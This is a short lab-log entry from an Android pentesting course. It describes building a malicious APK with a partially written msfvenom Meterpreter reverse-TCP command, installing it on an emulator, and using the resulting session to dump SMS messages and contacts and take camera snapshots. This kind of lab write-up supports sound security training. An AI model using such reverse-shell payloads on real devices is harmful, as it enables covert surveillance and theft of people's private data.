

## **Day 25**

### **Topic: Android Pentesting**

**Objective:** To perform active exploitation of Android devices using ADB and Metasploit.

#### **Theoretical Concepts:**

We focused on the Android Debug Bridge (ADB). While useful for developers, leaving ADB enabled and exposed is a major risk.

#### **Practical Work:**

We used Metasploit to generate a malicious APK payload: `msfvenom -p android/meterpreter/reverse_tcp ...`. We installed this APK on the emulator. Once opened, we received a Meterpreter session on Kali. We demonstrated dumping SMS messages, contact lists, and taking a snapshot from the camera using the remote shell.

**Tools Used:** ADB, MobSF, Metasploit.

**Outcome:** Understanding the impact of malicious apps and remote access Trojans (RATs) on mobile devices.